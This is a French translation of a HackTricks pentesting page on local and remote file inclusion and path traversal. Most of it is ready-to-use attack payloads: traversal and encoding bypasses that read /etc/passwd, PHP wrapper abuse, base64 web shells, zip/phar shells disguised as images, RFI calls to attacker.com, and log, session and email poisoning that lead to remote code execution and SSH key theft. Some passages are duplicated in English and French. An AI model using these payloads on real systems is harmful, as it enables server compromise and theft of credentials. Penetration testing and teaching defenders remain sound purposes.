hacktricks/pentesting-web/file-inclusion

Inclusion de fichiers / Traversée de chemin

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
• Découvrez The PEASS Family, notre collection exclusive de NFTs
• Obtenez le swag officiel PEASS & HackTricks
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

Suivez HackenProof pour en savoir plus sur les bugs web3

🐞 Lisez les tutoriels de bugs web3

🔔 Recevez des notifications sur les nouveaux programmes de primes de bugs

💬 Participez aux discussions de la communauté

Inclusion de fichiers

Inclusion de fichiers distants (RFI) : Le fichier est chargé à partir d'un serveur distant (meilleur : vous pouvez écrire le code et le serveur l'exécutera). En PHP, cela est désactivé par défaut (allow_url_include).
Inclusion de fichiers locaux (LFI) : Le serveur charge un fichier local.

La vulnérabilité se produit lorsque l'utilisateur peut contrôler de quelque manière que ce soit le fichier qui va être chargé par le serveur.

Fonctions PHP vulnérables : require, require_once, include, include_once

Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap

Aveugle - Intéressant - Fichiers LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

En mélangeant plusieurs listes LFI *nix et en ajoutant plus de chemins, j'ai créé celle-ci :

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Essayez également de changer / pour \
Essayez également d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée ici

Windows

En fusionnant plusieurs listes, j'ai créé celle-ci :

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Essayez également de changer / pour \
Essayez également de supprimer C:/ et d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée ici

OS X

Vérifiez la liste LFI de Linux.

LFI de base et contournements

Tous les exemples sont pour l'inclusion de fichiers locaux, mais peuvent également être appliqués à l'inclusion de fichiers distants (page=http://monserveur.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

Séquences de traversée dépouillées de manière non récursive

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Octet nul (%00)

Contourner l'ajout de caractères à la fin de la chaîne fournie (contournement de : $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Ceci est résolu depuis PHP 5.4

Encodage

Vous pouvez utiliser des encodages non standard tels que l'encodage double URL (et d'autres):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

À partir d'un dossier existant

Il se peut que le back-end vérifie le chemin du dossier :

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Identification des dossiers sur un serveur

En fonction du code applicatif / des caractères autorisés, il est peut-être possible d'explorer de manière récursive le système de fichiers en découvrant des dossiers et pas seulement des fichiers. Pour ce faire :

• identifier la "profondeur" de votre répertoire actuel en récupérant avec succès /etc/passwd (si sous Linux) :

http://example.com/index.php?page=../../../etc/passwd # depth of 3

• Essayez de deviner le nom d'un dossier dans le répertoire actuel en ajoutant le nom du dossier (ici, private), puis en retournant à /etc/passwd:

http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd 

• Si l'application est vulnérable, il peut y avoir deux résultats différents pour la requête :
  • Si vous obtenez une erreur / aucune sortie, le dossier private n'existe pas à cet emplacement
  • Si vous obtenez le contenu de /etc/passwd, vous avez validé qu'il y a effectivement un dossier private dans votre répertoire courant
• Le(s) dossier(s) que vous avez découvert(s) en utilisant cette technique peuvent ensuite être fuzzés pour des fichiers (en utilisant une méthode LFI classique) ou pour des sous-répertoires en utilisant la même technique de manière récursive.

Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, dans la même hypothèse (répertoire courant à une profondeur de 3 dans le système de fichiers), vous voulez vérifier si /var/www/ contient un répertoire private, utilisez la charge utile suivante :

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

La séquence de commandes suivante permet de générer des charges utiles en utilisant sed (1) comme entrée pour des outils de fuzzing d'URL tels que ffuf (2) :

$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"

Troncature de chemin d'accès

Contournez l'ajout de plus de caractères à la fin de la chaîne fournie (contournement de : $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Essayez toujours de commencer le chemin avec un faux répertoire (a/).

Cette vulnérabilité a été corrigée dans PHP 5.3.

Astuces de contournement de filtres

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd

RFI Basique

Description

Description

Remote File Inclusion (RFI) is a type of vulnerability most commonly found in web applications. It allows an attacker to include a remote file, usually through a script on the web server. This can lead to the execution of arbitrary code on the server, which can result in a full compromise of the system.

L'inclusion de fichier à distance (RFI) est un type de vulnérabilité le plus souvent trouvé dans les applications web. Elle permet à un attaquant d'inclure un fichier distant, généralement via un script sur le serveur web. Cela peut conduire à l'exécution de code arbitraire sur le serveur, ce qui peut entraîner une compromission complète du système.

Exploitation

Exploitation

The basic RFI attack involves injecting a URL that points to a remote file into a vulnerable parameter on the target web application. For example, if the application includes a file using the PHP include() function, an attacker could inject a URL that points to a malicious PHP script hosted on a remote server.

L'attaque RFI de base consiste à injecter une URL qui pointe vers un fichier distant dans un paramètre vulnérable de l'application web cible. Par exemple, si l'application inclut un fichier en utilisant la fonction include() de PHP, un attaquant pourrait injecter une URL qui pointe vers un script PHP malveillant hébergé sur un serveur distant.

http://example.com/index.php?page=http://attacker.com/malicious.php

When the vulnerable page is requested, the server will include the remote file specified in the page parameter, executing any code contained within it.

Lorsque la page vulnérable est demandée, le serveur inclura le fichier distant spécifié dans le paramètre page, exécutant tout code qu'il contient.

Prevention

Prévention

To prevent RFI attacks, it is important to properly validate and sanitize all user input, especially input that is used to construct file paths or URLs. Additionally, it is recommended to disable the allow_url_include and allow_url_fopen settings in PHP, which can be used to include remote files.

Pour prévenir les attaques RFI, il est important de valider et de nettoyer correctement toutes les entrées utilisateur, en particulier les entrées qui sont utilisées pour construire des chemins de fichiers ou des URL. De plus, il est recommandé de désactiver les paramètres allow_url_include et allow_url_fopen dans PHP, qui peuvent être utilisés pour inclure des fichiers distants.

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Élément racine Python

En Python, dans un code comme celui-ci :

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si l'utilisateur passe un chemin absolu à file_name, le chemin précédent est simplement supprimé :

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Il s'agit du comportement prévu selon la documentation:

Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jointure continue à partir du composant de chemin absolu.

Liste des répertoires Java

Il semble que si vous avez une Traversal de chemin dans Java et que vous demandez un répertoire au lieu d'un fichier, une liste du répertoire est renvoyée. Cela ne se produira pas dans d'autres langues (à ma connaissance).

Top 25 des paramètres

Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichier local (LFI) (à partir de ce lien):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI en utilisant des enveloppes et des protocoles PHP

php://filter

Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant leur lecture ou leur écriture. Il existe 5 catégories de filtres :

• Filtres de chaîne :
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
    • Notez que ce filtre a disparu des versions modernes de PHP
• Filtres de conversion
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforme en une autre codification (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de toutes les codifications prises en charge, exécutez dans la console : iconv -l

{% hint style="warning" %} En abusant du filtre de conversion convert.iconv.*, vous pouvez générer du texte arbitraire, ce qui pourrait être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme l'inclusion traite du texte arbitraire. Pour plus d'informations, consultez LFI2RCE via php filters. {% endhint %}

• Filtres de compression
  • zlib.deflate : Compresse le contenu (utile si vous exfiltrez beaucoup d'informations)
  • zlib.inflate : Décompresse les données
• Filtres de chiffrement
  • mcrypt.* : Obsolète
  • mdecrypt.* : Obsolète
• Autres filtres
  • En exécutant var_dump(stream_get_filters()); en PHP, vous pouvez trouver quelques filtres inattendus :
    • consumed
    • dechunk : inverse le codage HTTP chunked
    • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally

{% hint style="warning" %} La partie "php://filter" est insensible à la casse. {% endhint %}

php://fd

Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Vous pouvez également utiliser php://stdin, php://stdout et php://stderr pour accéder respectivement aux descripteurs de fichiers 0, 1 et 2 (je ne suis pas sûr de l'utilité de cela dans une attaque).

zip:// et rar://

Téléchargez un fichier Zip ou Rar contenant une PHPShell à l'intérieur et y accédez.
Pour pouvoir abuser du protocole rar, il doit être spécifiquement activé.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

La technique de l'inclusion de fichiers peut également être utilisée pour accéder à des fichiers stockés dans des URL de type data://. Ces URL sont utilisées pour stocker des données en base64 dans l'URL elle-même. Pour inclure un fichier à partir d'une URL de ce type, il suffit de spécifier l'URL dans le paramètre de l'application vulnérable.

Par exemple, pour inclure le contenu d'un fichier file.txt stocké en base64 dans l'URL data://, on peut utiliser la chaîne suivante :

data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D

Dans cet exemple, le contenu du fichier file.txt est Hello, World!. La chaîne SGVsbG8sIFdvcmxkIQ%3D%3D est la représentation en base64 de ce contenu.

Il est important de noter que l'utilisation de l'inclusion de fichiers avec des URL de type data:// peut être limitée par la taille maximale de l'URL que l'application peut accepter.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Fait amusant : vous pouvez déclencher une XSS et contourner l'auditeur de Chrome avec : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include

expect://

Expect doit être activé. Vous pouvez exécuter du code en utilisant cela.

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spécifiez votre charge utile dans les paramètres POST.

http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>

phar://

Un fichier .phar peut également être utilisé pour exécuter du code PHP si le site web utilise une fonction comme include pour charger le fichier.

{% code title="create_phar.php" %}

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();

{% endcode %}

Et vous pouvez compiler le phar en exécutant la ligne suivante:

php --define phar.readonly=0 create_path.php

Un fichier appelé test.phar sera généré que vous pouvez utiliser pour abuser de la LFI.

Si la LFI se contente de lire le fichier et de ne pas exécuter le code php à l'intérieur, par exemple en utilisant des fonctions telles que file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(), vous pouvez essayer d'abuser d'une désérialisation qui se produit lors de la lecture d'un fichier en utilisant le protocole phar.
Pour plus d'informations, lisez le post suivant :

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Plus de protocoles

Vérifiez plus de protocoles à inclure ici:

• php://memory et php://temp — Écrire en mémoire ou dans un fichier temporaire (pas sûr de savoir comment cela peut être utile dans une attaque d'inclusion de fichier)
• file:// — Accès au système de fichiers local
• http:// — Accès aux URL HTTP(s)
• ftp:// — Accès aux URL FTP(s)
• zlib:// — Flux de compression
• glob:// — Trouver des noms de fichiers correspondant à un modèle (ne renvoie rien de lisible, donc pas vraiment utile ici)
• ssh2:// — Secure Shell 2
• ogg:// — Flux audio (pas utile pour lire des fichiers arbitraires)

LFI via l'option 'assert' de PHP

Si vous rencontrez une LFI difficile qui semble filtrer les chaînes de traversée telles que ".." et répondre avec quelque chose du genre "Tentative de piratage" ou "Belle tentative !", une charge utile d'injection 'assert' peut fonctionner.

Une charge utile comme celle-ci :

' and die(show_source('/etc/passwd')) or '

réussira à exploiter le code PHP pour un paramètre "file" qui ressemble à ceci :

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

Il est également possible d'obtenir une RCE dans une déclaration "assert" vulnérable en utilisant la fonction system().

' and die(system("whoami")) or '

Assurez-vous d'encoder les charges utiles en URL avant de les envoyer.

Suivez HackenProof pour en savoir plus sur les bugs web3

🐞 Lire les tutoriels de bugs web3

🔔 Recevoir des notifications sur les nouveaux programmes de primes de bugs

💬 Participer aux discussions de la communauté

Traversée de chemin PHP aveugle

{% hint style="warning" %} Cette technique est pertinente dans les cas où vous contrôlez le chemin d'accès d'une fonction PHP qui va accéder à un fichier mais vous ne verrez pas le contenu du fichier (comme un simple appel à file()) mais le contenu n'est pas affiché. {% endhint %}

Dans ce post incroyable, il est expliqué comment une traversée de chemin aveugle peut être exploitée via le filtre PHP pour exfiltrer le contenu d'un fichier via un oracle d'erreur.

En résumé, la technique utilise l'encodage "UCS-4LE" pour rendre le contenu d'un fichier si gros que la fonction PHP ouvrant le fichier déclenchera une erreur.

Ensuite, pour divulguer le premier caractère, le filtre dechunk est utilisé avec d'autres tels que base64 ou rot13 et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d'autres caractères au début et les divulguer.

Fonctions qui pourraient être vulnérables : file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (seulement cibler en lecture seule avec cela), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Pour les détails techniques, consultez le post mentionné !

LFI2RCE

RFI de base

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Via le fichier journal Apache/Nginx

Si le serveur Apache ou Nginx est vulnérable à LFI à l'intérieur de la fonction d'inclusion, vous pouvez essayer d'accéder à /var/log/apache2/access.log ou /var/log/nginx/access.log, défini à l'intérieur de l'agent utilisateur ou à l'intérieur d'un paramètre GET une coquille php comme <?php system($_GET['c']); ?> et inclure ce fichier.

{% hint style="warning" %} Notez que si vous utilisez des guillemets doubles pour la coquille au lieu de guillemets simples, les guillemets doubles seront modifiés pour la chaîne "quote;", PHP lancera une erreur et rien d'autre ne sera exécuté.

Assurez-vous également d'écrire correctement la charge utile ou PHP générera une erreur chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième chance. {% endhint %}

Cela pourrait également être fait dans d'autres journaux, mais soyez prudent, le code à l'intérieur des journaux pourrait être encodé en URL et cela pourrait détruire la coquille. L'en-tête authorisation "basic" contient "user:password" en Base64 et il est décodé à l'intérieur des journaux. La PHPShell pourrait être insérée à l'intérieur de cet en-tête.
Autres chemins de journal possibles:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Liste de mots pour fuzzing : https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Envoyez un mail à un compte interne (user@localhost) contenant votre charge utile PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayez de l'inclure dans le mail de l'utilisateur avec un chemin comme /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

1. Téléchargez beaucoup de shells (par exemple : 100)
2. Incluez http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut être forcé par bruteforce) et $FD le descripteur de fichier (peut être forcé par bruteforce aussi)

Via /proc/self/environ

Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée à l'intérieur du fichier /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via téléchargement

Si vous pouvez télécharger un fichier, injectez simplement la charge utile de shell dedans (par exemple : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Afin de maintenir la lisibilité du fichier, il est préférable d'injecter dans les métadonnées des images/doc/pdf.

Via l'upload de fichier Zip

Téléchargez un fichier ZIP contenant une coquille PHP compressée et accédez-y :

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via les sessions PHP

Vérifiez si le site web utilise des sessions PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, ces sessions sont stockées dans les fichiers /var/lib/php5/sess\[PHPSESSID]_.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Définissez le cookie sur <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utilisez la LFI pour inclure le fichier de session PHP.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à <HOME>/.ssh/id_rsa

Via les logs de vsftpd

Les journaux de ce serveur FTP sont stockés dans /var/log/vsftpd.log. Si vous avez une LFI et pouvez accéder à un serveur vsftpd exposé, vous pouvez essayer de vous connecter en définissant la charge utile PHP dans le nom d'utilisateur, puis accéder aux journaux en utilisant la LFI.

Via les filtres php (pas besoin de fichier)

Ce writeup explique que vous pouvez utiliser les filtres php pour générer un contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez générer du code php arbitraire pour l'inclusion sans avoir besoin de l'écrire dans un fichier.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Via segmentation fault

Téléchargez un fichier qui sera stocké temporairement dans /tmp, puis dans la même requête, déclenchez une segmentation fault, et ensuite le fichier temporaire ne sera pas supprimé et vous pouvez le rechercher.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Via le stockage de fichiers temporaires Nginx

Si vous avez trouvé une Local File Inclusion et que Nginx est en cours d'exécution devant PHP, vous pourriez être en mesure d'obtenir RCE avec la technique suivante :

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

Si vous avez trouvé une Local File Inclusion même si vous n'avez pas de session et que session.auto_start est Off. Si vous fournissez PHP_SESSION_UPLOAD_PROGRESS dans les données multipart POST, PHP activera la session pour vous. Vous pourriez en abuser pour obtenir RCE :

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via les téléchargements de fichiers temporaires dans Windows

Si vous avez trouvé une Local File Inclusion et que le serveur fonctionne sous Windows, vous pourriez obtenir RCE :

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via phpinfo() (file_uploads = on)

Si vous avez trouvé une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir RCE :

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + divulgation de chemin

Si vous avez trouvé une Local File Inclusion et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure a des marques PHP, vous pouvez essayer de contourner cette vérification avec cette Race Condition :

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Via l'attente éternelle + brute force

Si vous pouvez abuser de la LFI pour télécharger des fichiers temporaires et faire suspendre l'exécution PHP du serveur, vous pourriez ensuite forcer les noms de fichiers pendant des heures pour trouver le fichier temporaire :

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

Pour une erreur fatale

Si vous incluez l'un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le même deux fois pour déclencher cette erreur).

Je ne sais pas à quoi cela peut servir, mais cela pourrait être utile.
Même si vous provoquez une erreur fatale de PHP, les fichiers temporaires PHP téléchargés sont supprimés.

Références

PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/en-local-file-inclusion-1.pdf" %}

Suivez HackenProof pour en savoir plus sur les bugs web3

🐞 Lisez les tutoriels sur les bugs web3

🔔 Soyez informé des nouveaux programmes de primes pour bugs

💬 Participez aux discussions de la communauté

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
• Découvrez The PEASS Family, notre collection exclusive de NFTs
• Obtenez le swag officiel PEASS & HackTricks
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.